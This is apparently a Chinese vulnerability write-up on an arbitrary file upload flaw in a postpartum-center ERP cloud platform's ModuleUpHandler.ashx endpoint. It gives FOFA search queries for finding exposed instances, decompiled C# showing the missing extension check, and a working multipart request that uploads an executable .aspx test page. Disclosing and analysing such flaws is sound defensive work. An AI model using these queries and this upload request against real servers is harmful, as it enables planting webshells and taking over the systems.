月子会所ERP管理云平台 ModuleUpHandler.ashx 任意文件上传漏洞


漏洞简介

月子会所ERP管理云平台是由武汉金同方科技有限公司研发团队结合行业月子中心相关企业需求开发的一套综合性管理软件。月子会所ERP管理云平台的 Page/upload/ModuleUpHandler.ashx 接口存在文件上传漏洞,攻击者可利用该漏洞上传webshell获取服务器权限。

fofa语法

body="月子护理ERP管理平台" || body="妈妈宝盒客户端.rar" || body="Page/Login/Login3.aspx" || app="妈妈宝盒-ERP"

漏洞分析

ModuleUpHandler 的业务逻辑实现如下

public class ModuleUpHandler : IHttpHandler
  {
    private static string OOsUrl = ConfigurationManager.AppSettings["uploadOosUrl"];
    private static string url = "";
    private static string Slturl = "";
    private static string ErpUrl = ConfigurationManager.AppSettings["uploadErpUrl"];
    private static string UploadPosition = ConfigurationManager.AppSettings[nameof (UploadPosition)];
    private static string BdSltUrl = "UploadBaseFolder/Thumbnail";
    private static string BdYtUrl = "UploadBaseFolder";

    public void ProcessRequest(HttpContext context)
    {
      context.Response.ContentType = "application/json";
      HttpFileCollection files = context.Request.Files;
      Framework.Common.Logging.Logging.SaveLog(ELogLayer.UI, "Files数量:" + ((NameObjectCollectionBase) context.Request.Files).Count.ToString());
      List<string> stringList = new List<string>();
      if (string.op_Equality(ModuleUpHandler.UploadPosition, "1"))
      {
        ModuleUpHandler.url = ModuleUpHandler.OOsUrl + "/" + DateTime.Now.ToString("yyyyMM");
      }
      else
      {
        ModuleUpHandler.url = ModuleUpHandler.ErpUrl + "/" + DateTime.Now.ToString("yyyyMM");
        ModuleUpHandler.Slturl = ModuleUpHandler.BdSltUrl + "/" + ModuleUpHandler.ErpUrl + "/" + DateTime.Now.ToString("yyyyMM") + "/";
      }
      if (((NameObjectCollectionBase) context.Request.Files).Count > 0)
      {
        string str1 = ModuleUpHandler.BdYtUrl + "/" + ModuleUpHandler.url;
        string str2 = context.Server.MapPath("../../" + str1);
        if (!Directory.Exists(str2))
          Directory.CreateDirectory(str2);
        for (int index = 0; index < ((NameObjectCollectionBase) context.Request.Files).Count; ++index)
        {
          HttpPostedFile httpPostedFile = files[index];
          string fileName = httpPostedFile.FileName;
          string lower = fileName.Substring(fileName.LastIndexOf(".")).ToLower();
          string newName = this.GetNewName(lower);
          if (string.op_Equality(ModuleUpHandler.UploadPosition, "1"))
          {
            stringList.Add(string.Format("{0}/{1},1", (object) ModuleUpHandler.url, (object) newName));
            Stream inputStream = files[index].InputStream;
            OosUpload.PutObjectFromFile(ModuleUpHandler.url + "/", newName, inputStream);
          }
          else
          {
            stringList.Add(string.Format("{0}/{1},0", (object) str1, (object) newName));
            string originalImagePath = string.Format("{0}/{1}", (object) str2, (object) newName);
            string str3 = context.Server.MapPath("../../" + ModuleUpHandler.Slturl);
            httpPostedFile.SaveAs(originalImagePath);
            if (string.op_Equality(lower, ".png") || string.op_Equality(lower, ".jpg") || string.op_Equality(lower, ".jepg") || string.op_Equality(lower, ".bmp"))
            {
              if (!Directory.Exists(str3))
                Directory.CreateDirectory(str3);
              string thumbnailPath = string.Format("{0}/{1}", (object) str3, (object) newName);
              ModuleUpHandler.MakeThumbnail(originalImagePath, thumbnailPath, 120, 120, "DB");
            }
          }
          Thread.Sleep(1000);
        }
      }
      context.Response.Write(JsonConvert.SerializeObject((object) new
      {
        code = 200,
        data = stringList
      }));
      context.Response.End();
    }

    public string GetNewName(string name)
    {
      return DateTime.UtcNow.ToString("yyyyMMddHHmmss") + new Random().Next(0, 9999999).ToString() + name;
    }

    public static void MakeThumbnail(
      string originalImagePath,
      string thumbnailPath,
      int width,
      int height,
      string mode)
    {
      Image image1 = Image.FromFile(originalImagePath);
      int num1 = width;
      int num2 = height;
      int num3 = 0;
      int num4 = 0;
      int num5 = image1.Width;
      int num6 = image1.Height;
      if (!string.op_Equality(mode, "HW"))
      {
        if (!string.op_Equality(mode, "W"))
        {
          if (!string.op_Equality(mode, "H"))
          {
            if (!string.op_Equality(mode, "Cut"))
            {
              if (string.op_Equality(mode, "DB"))
              {
                if ((double) image1.Width / (double) num1 < (double) image1.Height / (double) num2)
                {
                  num2 = height;
                  num1 = image1.Width * height / image1.Height;
                }
                else
                {
                  num1 = width;
                  num2 = image1.Height * width / image1.Width;
                }
              }
            }
            else if ((double) image1.Width / (double) image1.Height > (double) num1 / (double) num2)
            {
              num6 = image1.Height;
              num5 = image1.Height * num1 / num2;
              num4 = 0;
              num3 = (image1.Width - num5) / 2;
            }
            else
            {
              num5 = image1.Width;
              num6 = image1.Width * height / num1;
              num3 = 0;
              num4 = (image1.Height - num6) / 2;
            }
          }
          else
            num1 = image1.Width * height / image1.Height;
        }
        else
          num2 = image1.Height * width / image1.Width;
      }
      Image image2 = (Image) new Bitmap(num1, num2);
      Graphics graphics = Graphics.FromImage(image2);
      graphics.InterpolationMode = (InterpolationMode) 2;
      graphics.SmoothingMode = (SmoothingMode) 2;
      graphics.Clear(Color.Transparent);
      graphics.DrawImage(image1, new Rectangle(0, 0, num1, num2), new Rectangle(num3, num4, num5, num6), (GraphicsUnit) 2);
      try
      {
        image2.Save(thumbnailPath, ImageFormat.Png);
      }
      catch (Exception ex)
      {
        throw ex;
      }
      finally
      {
        image1.Dispose();
        image2.Dispose();
        graphics.Dispose();
      }
    }

    public bool IsReusable => false;
  }

处理流程逻辑梳理

  1. 设置响应类型:设置 context.Response.ContentType 为 application/json。
  2. 获取上传的文件集合:从 context.Request.Files 获取上传的文件集合。
  3. 记录日志:记录上传文件的数量到日志。
  4. 判断上传位置:
    • 如果 UploadPosition 为 "1":
      • 设置 url 为 OOsUrl 加上当前年月。
    • 否则:
      • 设置 url 为 ErpUrl 加上当前年月。
      • 设置 Slturl 为 BdSltUrl 加上 ErpUrl 和当前年月。
  5. 判断是否有文件上传:
    • 如果有文件:
      • 构造上传文件的存储路径 str1 和物理路径 str2。
      • 如果 str2 路径不存在,则创建目录。
      • 遍历上传的文件集合:
      • 获取文件名及扩展名。
      • 调用 GetNewName 方法生成新的文件名。
      • 根据 UploadPosition 决定处理方式:
        • 如果 UploadPosition 为 "1":
        • 调用 OosUpload.PutObjectFromFile 方法上传文件到对象存储。
        • 将文件路径和标识 "1" 添加到 stringList。
        • 否则:
        • 保存文件到本地路径。
        • 如果文件是图片类型(.png, .jpg, .jpeg, .bmp),生成缩略图:
          • 如果缩略图路径不存在,则创建目录。
          • 调用 MakeThumbnail 方法生成缩略图。
        • 将文件路径和标识 "0" 添加到 stringList。
      • 每处理一个文件,线程休眠 1 秒。
  6. 返回响应:
    • 将 stringList 转换为 JSON 格式,返回到客户端,状态码为 200。
    • 结束响应。

也是常规的上传、重命名、对图片后缀进行缩略图处理等,并无特殊后缀过滤,且会回显上传文件路径,造成任意文件上传漏洞。

漏洞复现

POST /Page/upload/ModuleUpHandler.ashx HTTP/1.1
Host: mamabaohe.mrxn.net
Content-Type: multipart/form-data; boundary=--WebKitFormBoundaryWPL35TV23dfr1cNr

--WebKitFormBoundaryWPL35TV23dfr1cNr
Content-Disposition: form-data; name="file"; filename="t.aspx"

<%@Page Language="C#"%><%Response.Write(DateTime.Now.ToString());System.IO.File.Delete(Server.MapPath(Request.Url.AbsolutePath));%>
--WebKitFormBoundaryWPL35TV23dfr1cNr--

成功上传测试POC并回显文件路径,且响应里最后的 0 也表明上传至本地,否则为远程对象储存。


手机扫码阅读

月子会所ERP管理云平台 AttachedHandler.ashx 任意文件上传漏洞

月子会所ERP管理云平台 UploadComponentHandler.ashx 任意文件上传漏洞

评 论